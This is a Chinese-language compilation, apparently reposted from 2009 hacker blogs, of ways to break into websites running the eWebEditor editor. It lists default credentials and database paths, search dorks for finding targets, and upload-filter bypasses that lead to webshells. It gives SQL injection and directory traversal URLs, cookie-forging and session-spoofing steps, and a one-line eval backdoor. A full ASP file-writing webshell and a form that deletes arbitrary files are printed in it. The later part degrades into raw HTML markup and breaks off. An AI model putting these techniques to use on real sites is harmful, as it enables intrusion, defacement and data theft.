Ewebeditor最新漏洞及漏洞大全

Ewebeditor最新漏洞及漏洞大全[收集]

来源:转载作者:佚名时间:2009-06-03 00:04:26

以下文章收集转载于网络:) 算是比较全面的ewebeditor编辑器的漏洞收集,现在的网站大多数用的都是ewebeditor编辑器,

所以ewebeditor漏洞的危害性还是相当大的,做了一下漏洞收集,漏洞修补的方法可去网上查找。

漏洞更新日期TM 2009 2 9转自zake’S Blog
        ewebeditor
最新漏洞。这个程序爆漏洞一般都是直接上传的漏洞,首先在本地搭建一个ASP环境重命名一个木马名字例如:1.gif.asp这样的就OK
那么接下来完美本地搭建一个环境你可以用WEB小工具搭建一个,目的就是让远程上传。http://127.0.0.1/1.gif.asp搭建好了,在官方的地方执行网络地址然后确定以后,

 这里是最关键的一部!


 这里点了远程上传以后,再提交得到木马地址

由于官方在图片目录做了限制导致不能执行ASP脚本而没能拿到WEB权限。
属于安全检测漏洞版本ewebeditor v6.0.0

以前的ewebeditor漏洞:

ewebeditor注入漏洞

大家都知道ewebeditor编辑器默认的数据库路径db/ewebeditor.mdb
默认后台地址是admin_login.asp,另外存在遍历目录漏洞,如果是asp后缀的数据库还可以写入一句话
今天我给大家带来的也是ewebeditor编辑器的入侵方法
不过一种是注入,一种是利用upload.asp文件,本地构造
NO1
:注入
http://www.XXX.com/ewebeditor2007/ewebeditor.asp?id=article_content
&style=full_v200
编辑器ewebedior7以前版本通通存在注入
直接检测不行的,要写入特征字符
我们的工具是不知道ewebeditor的表名的还有列名
我们自己去看看
哎。。先表吧
要先添加进库
开始猜账号密码了
我们==
心急的往后拉
出来了
[sys_username]:bfb18022a99849f5 chaoup[sys_userpass]:0ed08394302f7d5d 851120
对吧^_^
后面不说了
NO2
:利用upload.asp文件,本地构造上传shell
大家看这里
http://www.siqinci.com/ewebeditor2007/admin_style.asp?action=stylepreview
&id=37
如果遇见这样的情况又无法添加工具栏是不是很郁闷
现在不郁闷了,^_^源源不一般
我们记录下他的样式名“aaa”
我已经吧upload.asp文件拿出来了
我们构造下
OK
,我之前已经构造好了
其实就是这里

地址/path/upload.asp?action=save&type=&style=样式名” method=post name=myformenctype=”multipart/form-data”>

上传了”>

下面我们运行他上传个大马算了
UploadFile
上传进去的在这个目录下
2008102018020762.asa

过往漏洞:

首先介绍编辑器的一些默认特征:
默认登陆admin_login.asp
默认数据库db/ewebeditor.mdb
默认帐号admin 密码adminadmin888
搜索关键字:”inurl:ewebeditor”关键字十分重要
有人搜索”eWebEditor -eWebSoft在线编辑器
根本搜索不到几个~
baidu.google
搜索inurl:ewebeditor
几万的站起码有几千个是具有默认特征的~
那么试一下默认后台
http://www.xxx.com.cn/admin/ewebeditor/admin_login.asp

试默认帐号密码登陆。
利用eWebEditor获得WebShell的步骤大致如下:
1
.确定网站使用了eWebEditor。一般来说,我们只要注意发表帖子(文章)的页面是否有类似做了记号的图标,就可以大致做出判断了。
2
.查看源代码,找到eWebEditor的路径。点击查看源代码,看看源码中是否存在类似的语句。其实只有发现了存在这样的语句了,才可以真正确定这个网站使用了eWebEditor。然后记下src=’***’中的“***”,这就是eWebEditor路径。
3
.访问eWebEditor的管理登录页面。eWebEditor的默认管理页面为admin_login.asp,和ewebeditor.asp在同一目录下。以上面的路径为例,我们访问的地址为:http://www.***.net/edit/admin_login.asp,看看是否出现了登录页面。
如果没有看到这样的页面,说明管理员已经删除了管理登录页面,呵呵,还等什么,走人啊,换个地方试试。不过一般来说,我很少看到有哪个管理员删了这个页面,试试默认的用户名:admin,密码:admin888。怎么样?成功了吧(不是默认账户请看后文)!
4
.增加上传文件类型。点击样式管理,随便选择列表中底下的某一个样式的设置,为什么要选择列表中底下的样式?因为eWebEditor自带的样式是不允许修改的,当然你也可以拷贝一个新的样式来设置。
然后在上传的文件类型中增加“asa”类型。
5
.上传ASP木马,获得WebShell。接下来将ASP木马的扩展名修改为asa,就可以简单上传你的ASP木马了。不要问我怎么上传啊,看到预览 了吗?点击预览,然后选择插入其它文件的按钮就可以了。
漏洞原理
漏洞的利用原理很简单,请看Upload.asp文件:
任何情况下都不允许上传asp脚本文件
sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
因为eWebEditor仅仅过滤了ASP文件。记得我第一次使用eWebEditor时就在纳闷:既然作者已经知道asp文件需要过滤,为什么不同时过滤asacer等文件呢?也许这就是对免费用户不负责任的表现吧!
高级应用
eWebEditor
的漏洞利用还有一些技巧:
1
.使用默认用户名和密码无法登录。
请试试直接下载db目录下的ewebeditor.mdb文件,用户名和密码在eWebEditor_System表中,经过了md5加密,如果无法下载或者无法破解,那就当自己的运气不好了。
2
.加了asa类型后发现还是无法上传。
应该是站长懂点代码,自己修改了Upload.asp文件,但是没有关系,按照常人的思维习惯,往往会直接在sAllowExt = Replace(UCase(sAllowExt),“ASP”, “”)一句上修改,我就看见过一个站长是这样修改的:
sAllowExt = Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt), “ASP”,“”), “CER”, “”), “ASA”, “”), “CDX”, “”), “HTR”, “”)
猛一看什么都过滤了,但是我们只要在上传类型中增加“aaspsp”,就可以直接上传asp文件了。呵呵,是不是天才的想法?“aaspsp”过滤了“asp”字符后,反而变成了“asp”!顺便告诉大家一个秘密,其实动网论坛7.0 sp2中也可以利用类似的方法绕过对扩展名的过滤。
3
.上传了asp文件后,却发现该目录没有运行脚本的权限。
呵呵,真是好笨啊,上传类型可以改,上传路径不是也可以修改的吗?仔细看看图四。
4
.已经使用了第2点中的方法,但是asp类型还是无法上传。
看来站长肯定是一个写asp的高手,但是我们还有最后一招来对付他:看到图三中的远程类型了吗?eWebEditor能够设定自动保存远程文件的类型,我们可以加入asp类型。但是如何才能让远程访问的asp文件能够以源码形式保存呢?方法是很多的,最简单的方法是将IIS中的应用文件映射中的“asp”删除。
后记
根据自己的经验,几乎只要能进入eWebEditor的后台管理,基本上都可以获得WebShell。在Google上搜索“ewebeditor.asp?id=”能够看到长达十多页的相关信息,我大致抽查了其中几个,发现成功率约为50%。还不错吧?oblg 2.52版以前的版本也是使用eWebEditor,可以去搜索几个来练练手。要命的是eWebEditor的官方网站和帮助文件中根本没有这方面的安全提示。还有,我发现官方提供的测试系统并不存在类似的漏洞,看来不是他们不知道,而是没有把免费用户的网络安危放在心上!

 

 

 

 

eWebEditor=>2.8 商业版后台一句话木马利用

登陆后台,点击修改密码---新密码设置为 1":evalrequest("a")

设置成功后,访问asp/config.asp文件即可,一句话木马被写入到这个文件里面了.  

 

 

 

 

ewebeditor漏洞利用总结

     先从最基本的记录起!通常入侵ewebeditor编辑器的步骤如下:

1、首先访问默认管理页看是否存在。

       默认管理页地址2.80以前为 ewebeditor/admin_login.asp 以后版本为admin/login.asp (各种语言的大家自己改后缀,本文就以asp来进行说明,下面不再细说了!)

2、默认管理帐号密码!

       默认管理页存在!我们就用帐号密码登陆!默认帐号密码为: admin admin888 !常用的密码还有admin admin999 admin1 admin000 之类的。

3、默认数据库地址。

       如果密码不是默认的。我们就访问是不是默认数据库!尝试下载数据库得到管理员密码!管理员的帐号密码,都在eWebEditor_System表段里,sys_UserName Sys_UserPass 都是md5加密的。得到了加密密码。可以去www.cmd5.com www.xmd5.org 等网站进行查询!暴力这活好久不干了!也可以丢国外一些可以跑密码的网站去跑!

       默认数据库路径为:ewebeditor/db/ewebeditor.mdb 常用数据库路径为:ewebeditor/db/ewebeditor.asa ewebeditor/db/ewebeditor.aspewebeditor/db/#ewebeditor.asa ewebeditor/db/#ewebeditor.mdbewebeditor/db/!@#ewebeditor.asp ewebeditor/db/ewebeditor1033.mdb

       很多管理员常改.asp后缀,一般访问.asp .asa 后缀的都是乱码!可以用下载工具下载下来,然后更改后缀为.mdb 来查看内容!

4、说说漏洞基本利用步骤,还以asp为例!

       登陆后台以后。选择样式管理,默认编辑器的默认样式都不可以修改的。我们可以从任意样式新建一个样式,然后在图片上传添加可上传后缀。.asa .cer .cdx 等!.asp 过滤过了。但是我们可以用.asaspp后缀来添加,这样上传文件正好被ewebeditor 吃掉asp后缀,剩下.asp 呵呵!代码不详细说了。总之是个很可笑的过滤!同样,如果遇到一个管理员有安全意识的,从代码里,把.asp .asa .cer .cdx 都完全禁止了,我们也可以用.asasaa 后缀来突破。添加完了后缀,可以在样式管理,点击预览,然后上传!

5、默认管理页不存在!

       在实际入侵过程中,有很多默认的管理页不存在的时候。我们可以直接访问样式管理页面 ewebeditor/admin_style.asp 然后用第4步的方式拿webshell。如果样式管理页也不存在的话,我们可以看数据库内的样式表(ewebeditor_style)里面有没有比我们先进去的朋友留下的样式。然后构造上传!具体url如下:eWebEditor/ewebeditor.asp?id=content&style=www 红色部分是我们发现被修改添加了asa后缀的样式名,大家自行修改!

6ewebeditor的几个版本存在注入!

       ewebeditor 以前版本都存在注入 ewebeditor/ewebeditor.asp?id=article_content&style=Full_v200 !

添加验证字符串,和管理员字段可以跑出管理员的md5加密密码!

      ewebeditor v2.1.6存在注入,可以用union select 添加上传后缀进行上传!先贴漏洞利用方式!

--------------------------------------------------------------------------------------------------------------

ewebeditor asp版 2.1.6上传漏洞利用程序----





--------------------------------------------------------------------------------------------------------------

       以上代码令存为html!修改红色部分的路径,然后自动上传 .cer 文件!漏洞原因是因为sStyleName变量直接从style中读取,并没有过滤,所以可以包含任意字符!用selectewebeditor_style表中查找s_namesStyleName的记录,找不到就提示出错!在sStyleName变量中用union来构造记录,我们可以在sAllowExt中加入"|cer""|asa"等!

       另外还有一些版本的ewebeditorupload.asp文件存在注入漏洞!贴几个注入用的url!信息错误则返回脚本出错的提示,在浏览器左下角!具体利用如下:

ewebeditor/Upload.asp?type=FILE&style=standard_coolblue1'and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)>98%20and%20'1'='1

注意修改红色部分的字段名、位数、ascii码的值!

7、目录遍历漏洞!

       这里大概说一下!目录遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件!这个文件有的不需要登陆验证,有些需要!很多有经验的管理员会把编辑器的目录设置为只读权限,不可修改!这种情况下,唯一可以利用的也就是利用遍历目录功能查看网站文件,比如数据库路径、后台地址、其他的上传地址、最直观的就是别人留下的小马等等!这些都自由发挥了!说下漏洞利用方法!

       漏洞利用方式如下:在上传文件管理页面随便选择一个上传样式!比如ewebeditor/admin_uploadfile.asp?id=14 id后面添加&dir=../..

类似如下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/可以看到网站数据库的路径!

      另外一个遍历目录的漏洞文件是ewebeditor/asp/browse.asp

漏洞代码为:

Function GetList()

Dim s_List, s_Url

s_List = ""

Dim oFSO, oUploadFolder, oUploadFiles,oUploadFile, sFileName

'Response.Write sCurrDir

'On Error Resume Next

Set oFSO =Server.CreateObject("Scripting.FileSystemObject")

Set oUploadFolder =oFSO.GetFolder(Server.MapPath(sCurrDir))

'注意一下sCurrDir变量,这个值等下我们可以用到

If Err.Number>0 Then

s_List = ""

Exit Function

End If

 

If sDir <> "" Then

If InstrRev(sDir, "/") > 1Then

s_Url= Left(sDir, InstrRev(sDir,"/") - 1)

Else

s_Url = ""

End If

 

s_List = s_List & "" & _

"" & _

".." & _

" " & _

""

End If

'Response.WritesDir&"!"&s_List

 

Dim oSubFolder

For Each oSubFolder InoUploadFolder.SubFolders

'Response.Write oUploadFolder.SubFolders

If sDir = "" Then

s_Url = oSubFolder.Name

Else

s_Url = sDir & "/" &oSubFolder.Name

End If

s_List = s_List & "" & _

"" & _

"" & oSubFolder.Name &"" & _

" " & _

""

Next

'Response.Write s_List

 

Set oUploadFiles = oUploadFolder.Files

 

For Each oUploadFile In oUploadFiles

'Response.Write oUploadFile.Name

sFileName = oUploadFile.Name

If CheckValidExt(sFileName) = True Then

'这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了

If sDir = "" Then

s_Url = sContentPath & sFileName

Else

s_Url = sContentPath & sDir &"/" & sFileName

End If

 

s_List = s_List & "" & _

"" & FileName2Pic(sFileName)& "" & _

"" & sFileName &"" & _

"" &GetSizeUnit(oUploadFile.size) & "" & _

""

End If

Next

Set oUploadFolder = Nothing

Set oUploadFiles = Nothing

'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url

 

If sDir = "" Then

s_Url = ""

's_Url = "/"

Else

s_Url = "/" & sDir &""

's_Url = "/" & sDir &"/"

End If

 

s_List = s_List & ""

s_List = HTML2JS(s_List)

'Response.WriteServer.HTMLEncode(s_List)&"!"&s_Url

s_List = "parent.setDirList("""& s_List & """, """ & s_Url &""")"

GetList = s_List

End Function

'如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名

Function CheckValidExt(s_FileName)

If sAllowExt = "" Then

CheckValidExt = True

Exit Function

End If

 

Dim i, aExt, sExt

sExt = LCase(Mid(s_FileName,InStrRev(s_FileName, ".") + 1))

CheckValidExt = False

aExt = Split(LCase(sAllowExt), "|")

For i = 0 To UBound(aExt)

If aExt(i) = sExt Then

CheckValidExt = True

Exit Function

End If

Next

End Function

'我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的

Sub InitParam()

sType =UCase(Trim(Request.QueryString("type")))

sStyleName =Trim(Request.QueryString("style"))

 

Dim i, aStyleConfig, bValidStyle

bValidStyle = False

For i = 1 To Ubound(aStyle)

aStyleConfig = Split(aStyle(i),"|||")

If Lcase(sStyleName) =Lcase(aStyleConfig(0)) Then

bValidStyle = True

Exit For

End If

Next

 

If bValidStyle = False Then

OutScript("alert('InvalidStyle.')")

End If

 

sBaseUrl = aStyleConfig(19)

'nAllowBrowse = CLng(aStyleConfig(43))

nAllowBrowse = 1

 

If nAllowBrowse <> 1 Then

OutScript("alert('Do not allowbrowse!')")

End If

 

sUploadDir = aStyleConfig(3)

If Left(sUploadDir, 1) <>"/" Then

Select Case sType

Case "REMOTE"

sUploadDir = "../../" &sUploadDir & "Image/"

Case "FILE"

sUploadDir = "../../" &sUploadDir & "Other/"

Case "MEDIA"

sUploadDir = "../../" &sUploadDir & "Media/"

Case "FLASH"

sUploadDir = "../../" &sUploadDir & "Flash/"

Case Else

sUploadDir = "../../" &sUploadDir & "Image/"

End Select

End If

'sUploadDir =sUploadDir &"/"

 

Select Case sBaseUrl

Case "0"

'sContentPath = aStyleConfig(23)

Select Case sType

Case "REMOTE"

sContentPath = "../" &aStyleConfig(3) & "Image/"

Case "FILE"

sContentPath = "../" &aStyleConfig(3) & "Other/"

Case "MEDIA"

sContentPath = "../" &aStyleConfig(3) & "Media/"

Case "FLASH"

sContentPath = "../" &aStyleConfig(3) & "Flash/"

Case Else

sContentPath = "../" &aStyleConfig(3) & "Image/"

End Select

Case "1"

sContentPath =RelativePath2RootPath(sUploadDir)

Case "2"

sContentPath =RootPath2DomainPath(RelativePath2RootPath(sUploadDir))

End Select

 

Select Case sType

Case "REMOTE"

sAllowExt = aStyleConfig(10)

Case "FILE"

sAllowExt = aStyleConfig(6)

Case "MEDIA"

sAllowExt = aStyleConfig(9)

Case "FLASH"

sAllowExt = aStyleConfig(7)

Case Else

sAllowExt = aStyleConfig(8)

End Select

 

sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址

sDir = Trim(Request("dir")) '得到dir变量

sDir = Replace(sDir, "\","/") 'dir变量进行过滤

sDir = Replace(sDir, "../","")

sDir = Replace(sDir, "./","")

If sDir <> "" Then

If CheckValidDir(Server.Mappath(sUploadDir& sDir)) = True Then

sCurrDir = sUploadDir & sDir &"/"

'重点就在这里了,看到没有,sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了

'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用下面的利用中给出

Else

sDir = ""

End If

End If

End Sub

利用方式如下:

http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin

这样子就可以看到admin的内容了。构造特殊的dir绕过上面的验证!页面空白的时候查看源代码,就可以看到目录列表了!

8session欺骗漏洞!

       适用于一些设置不当的虚拟主机。当旁注得到一个webshell,而目标站存在ewebeditor却不能找到密码的时候可以尝试欺骗进入后台!顺序如下:

         新建一个.asp文件,内容如下:<%Session("eWebEditor_User") = "123132323"%> 然后访问这个文件,再访问ewebeditor/admin_default.asp!欺骗进入后台!不过很老了!

9、后台跳过认证漏洞!

       访问后台登陆页面!随便输入帐号密码,返回错误!然后清空浏览器,在地址栏输入

javascript:alert(document.cookie="adminuser="+escape("admin"));

javascript:alert(document.cookie="adminpass="+escape("admin"));

javascript:alert(document.cookie="admindj="+escape("1"));

        然后再清空地址栏,在路径里输入后台登陆后的页面,比如: admin_default.asp admin/default.asp 等。直接进入后台,利用方式见上文!

10、利用远程上传功能!

       比如s_full样式就存在这个功能,打开编辑页面,然后图片,选择输入url 比如:http://site.com/1.gif.asp ! 然后选择上传远程文件!自动就把1.gif.asp 保存在上传目录内!注:网上的东西大部分传来传去,这个办法愚弄自己还成!文件的确显示后缀为.asp但是不能访问,因为收集过来的时候自动截止在1.gif了所以后面的.asp等于没有!而且gif的内容就是我们这个url的路径!呵呵,后来又看到一个利用方式!是利用远程搜集的时候执行,我们文件的代码生成另外的小马!

       利用代码如下:

首先建立1.gif.asp 代码如下

<%

Set fs =CreateObject("Scripting.FileSystemObject")

SetMyTextStream=fs.OpenTextFile(server.MapPath("\akteam.asp"),1,false,0)

Thetext=MyTextStream.ReadAll

response.write thetext

%>

在我们的1.gif.asp的同目录下建立一个akteam.asp文件,内容就是我们的小马:

<%on error resume next%>

<%ofso="scripting.filesystemobject"%>

<%set fso=server.createobject(ofso)%>

<%path=request("path")%>

<%if path<>"" then%>

<%data=request("dama")%>

<%setdama=fso.createtextfile(path,true)%>

<%dama.write data%>

<%if err=0 then%>

<%="success"%>

<%else%>

<%="false"%>

<%end if%>

<%err.clear%>

<%end if%>

<%dama.close%>

<%set dama=nothing%>

<%set fos=nothing%>

<%="

"%>

<%=""%>

<%="
"%>

<%=server.mappath(request.servervariables("script_name"))%>

<%="
"%>

<%=""%>

<%=""%>

<%="
"%>

<%=""%>

<%=""%>

利用上面说的远程上传的方式!可以得到webshell!成功率取决于,虚拟主机的安全设置!

11、任意文件删除漏洞!

       此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入!看代码

' 把带"|"的字符串转为数组

Dim aSavePathFileName

aSavePathFileName = Split(sSavePathFileName, "|")

' 删除新闻相关的文件,从文件夹中

Dim i

For i = 0 To UBound(aSavePathFileName)

' 按路径文件名删除文件

Call DoDelFile(aSavePathFileName(i))

Next

aSavePathFileName是前面从数据库取出来的:

sSavePathFileName =oRs("D_SavePathFileName")

看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:sSavePathFileName =GetSafeStr(Request.Form("d_savepathfilename"))

...

oRs("D_SavePathFileName") =sSavePathFileName

 

居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:

Function GetSafeStr(str)

GetSafeStr =Replace(Replace(Replace(Trim(str), "'", ""), Chr(34),""), ";", "")

End Function

       既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新闻,于是主目录下的eWebEditor.asp不见了!漏洞利用:

eWebEditor</span>删除文件<span style="font-family:'Times New Roman';"> byldjun(></span></p> <p><span style="font-size:16px;">新闻列表<span style="font-family:'Times New Roman';">%20|%20</span>增加新闻</span></p> <p><span style="font-size:16px;">增加新闻</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">method="post"name="myform"></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">   <input type=hidden name=d_originalfilename></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">   <input type=hidden name=d_savefilename></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">   <table cellspacing=3 align=center></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><tr><td></span>要删的文件<span style="font-family:'Times New Roman';">(</span>相对路径就可以了<span style="font-family:'Times New Roman';">)</span>:<span style="font-family:'Times New Roman';"></td></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><td><input type="text"name="d_savepathfilename" value=""size="90"></td></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"></tr></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><tr><td></span>新闻标题<span style="font-family:'Times New Roman';">(</span>随便填<span style="font-family:'Times New Roman';">)</span>:<span style="font-family:'Times New Roman';"></td></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><td><input type="text"name="d_title" value="" size="90"></td></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"></tr></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><tr><td></span>标题图片:<span style="font-family:'Times New Roman';"></td></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><td><selectname="d_picture" size=1><option value=''></span>无<span style="font-family:'Times New Roman';"></option></select></span></p> <p><span style="font-size:16px;">当编辑区有插入图片时,将自动填充此下拉框<span style="font-family:'Times New Roman';"></td></span></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"></tr></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><tr><td></span>新闻内容<span style="font-family:'Times New Roman';">(</span>随便填<span style="font-family:'Times New Roman';">)</span>:<span style="font-family:'Times New Roman';"></td></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><td><textareaname="d_content"></textarea></td></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"></tr></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"></table></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><input type=submit name=btnSubmitvalue=" </span>提交<span style="font-family:'Times New Roman';"> "> </span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><input type=reset name=btnResetvalue=" </span>重填<span style="font-family:'Times New Roman';"> "></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"></form></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"></BODY></HTML> </span> </p> <p><span style="font-size:16px;">删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><a href='list.asp'></span>中的<span style="font-family:'Times New Roman';">list.asp</span>地址要修改</p> <p><span style="font-family:'Times New Roman';font-size:16px;"><a href='add.asp'></span>中的<span style="font-family:'Times New Roman';">add.asp</span>地址要修改</p> <p><span style="font-family:'Times New Roman';font-size:16px;"><formaction="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">(http://127.0.0.1/editor/Example/NewsSystem/addsave.asp</span>地址要修改<span style="font-family:'Times New Roman';">)</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">       </span>另外一个简单利用方式:</p> <p><span style="font-family:'Times New Roman';font-size:16px;"><formaction="http://www.xxxbing.com/editor/example/newssystem/addsave.asp"method="post"></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><input type=hiddenname=d_originalfilename value="x"></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><input type=hidden name=d_savefilenamevalue="x"></span></p> <p><span style="font-size:16px;">要删除的文件(相对路径,多个文件用“<span style="font-family:'Times New Roman';">|</span>”隔开)<span style="font-family:'Times New Roman';"><br></span></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><input type=textname=d_savepathfilename></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><input type=hiddenname="d_title" value="x"></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><input type=hiddenname="d_picture" value="x"></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><textareaname="d_content">x</textarea></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><input type=submit name=btnSubmitvalue="submit"></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"></form></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"> </span></p> <p><span style="font-size:16px;">然后得到返回的新闻<span style="font-family:'Times New Roman';">ID</span>再提交:<span style="font-family:'Times New Roman';">http://www.XXXXX.com/editor/example/newssystem/delete.asp?id=[id]</span></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">       </span>有几个版本的<span style="font-family:'Times New Roman';">ewebeditor</span>上传类型是在<span style="font-family:'Times New Roman';">security.asp </span>文件控制的!直接删除该文件可以上传任意<span style="font-family:'Times New Roman';">webshell</span>!</p> <p><span style="font-family:'Times New Roman';font-size:16px;">12</span>、其他<span style="font-family:'Times New Roman';">!</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">       </span>其他说点什么呢!以上的办法都是本人经验和网上搜集!暂时就想到这些了<span style="font-family:'Times New Roman';">,</span>以后想到了再补全!说说<span style="font-family:'Times New Roman';">aspxphp jsp</span>版本的利用吧!</p> <p><span style="font-family:'Times New Roman';font-size:16px;">ASPX</span>版:</p> <p><span style="font-size:16px;">受影响文件:<span style="font-family:'Times New Roman';">eWebEditorNet/upload.aspx</span></span></p> <p><span style="font-size:16px;">利用方法:添好本地的<span style="font-family:'Times New Roman';">cer</span>的<span style="font-family:'Times New Roman';">Shell</span>文件。在浏览器地址栏输入<span style="font-family:'Times New Roman';">javascript:lbtnUpload.click();</span>就能得到<span style="font-family:'Times New Roman';">shell</span>。嘿嘿<span style="font-family:'Times New Roman';">....</span>绕过了限制<span style="font-family:'Times New Roman';">......</span>成功的上传了<span style="font-family:'Times New Roman';">ASPX</span>文件<span style="font-family:'Times New Roman';">....</span>文件默认的上传后保存的地址是<span style="font-family:'Times New Roman';">eWebEditorNet/UploadFile/</span>现在来看看是否上传成功<span style="font-family:'Times New Roman';">.....</span></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">PHP</span>版本:<span style="font-family:'Times New Roman';">PhP</span>版本和<span style="font-family:'Times New Roman';">asp</span>版本利用方式类似!不过<span style="font-family:'Times New Roman';">php</span>权限较高,不多废话了<span style="font-family:'Times New Roman';">!</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">jsp</span>版本:网上有很多<span style="font-family:'Times New Roman';">jsp</span>的版本,根本没有对上传文件类型进行检测!需要注意的是<span style="font-family:'Times New Roman';">jsp</span>版本的没有上传按钮!直接选择文件,回车就可以提交了!</p> <p><span style="font-family:'Times New Roman';font-size:16px;"> </span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"> </span></p> <p><span style="font-size:16px;">安脚本分主要有<span style="font-family:'Times New Roman';">4</span>个版本,<span style="font-family:'Times New Roman';">ASP/ASPX/PHP/JSP </span>每个版本都有可以利用的漏洞。</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"> </span></p> <p><span style="font-size:16px;">安全漏洞</span></p> <p><span style="font-size:16px;">管理员未对编辑器的数据库路径和名称进行修改,导致可以利用编辑器默认路径直接对网站数据库进行下载。</span></p> <p><span style="font-size:16px;">管理员未对编辑器的用户登录路径进行修改,导致黑客可以利用网站数据库所获得的用户名和密码直接登陆编辑器管理后台。</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"> </span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">ASP</span>版</p> <p><span style="font-size:16px;">关键文件的名称和路径</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">Admin_login.asp</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">Admin_default.asp</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">Admin_style.asp</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">Admin_uploadfile.asp</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">Upload.asp</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">Admin_modipwd.asp</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">eWebEditor.asp</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">db/ewebeditor.mdb</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"> </span></p> <p><span style="font-size:16px;">一般用这个的默认后台的<span style="font-family:'Times New Roman';">URL</span>都是默认的</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;color:#333333;">www.***.com/admin/ewebeditor/login_admin.asp</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;color:#333333;">www.***.com/ewebeditor/login_admin.asp</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;color:#333333;">www.***.com/admin/eweb/login_admin.asp</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;color:#333333;">www.***.com/admin/editor/login_admin.asp</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"> </span></p> <p><span style="font-size:16px;">下载数据库</span></p> <p><span style="font-size:16px;">还有如果默认的账户和密码修改了,我们可以下载他们的数据库,然后本地破解<span style="font-family:'Times New Roman';">MD5</span>了</span></p> <p><span style="font-size:16px;">默认数据库<span style="font-family:'Times New Roman';">…/db/ewebeditor.mdb  </span>或者。<span style="font-family:'Times New Roman';">../db/ewebeditor.asp</span></span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"> </span></p> <p><span style="font-size:16px;">登录后台后,点击样式管理,随便选择一个样式,自带的样式不能修改的。</span></p> <p><span style="font-size:16px;">拷贝一个样式,在其它类型中增加,<span style="font-family:'Times New Roman';">asa</span>类型,接下来把免杀的<span style="font-family:'Times New Roman';">asp</span>木马的后缀名改成<span style="font-family:'Times New Roman';">asa</span>,返回管理首页,点击预览,然后选择插入其它文件的按钮进行<span style="font-family:'Times New Roman';">asp</span>木马的上传,上传的<span style="font-family:'Times New Roman';">ASP</span>木马就在,<span style="font-family:'Times New Roman';">UploadFILE</span>文件夹里。</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"> </span></p> <p><span 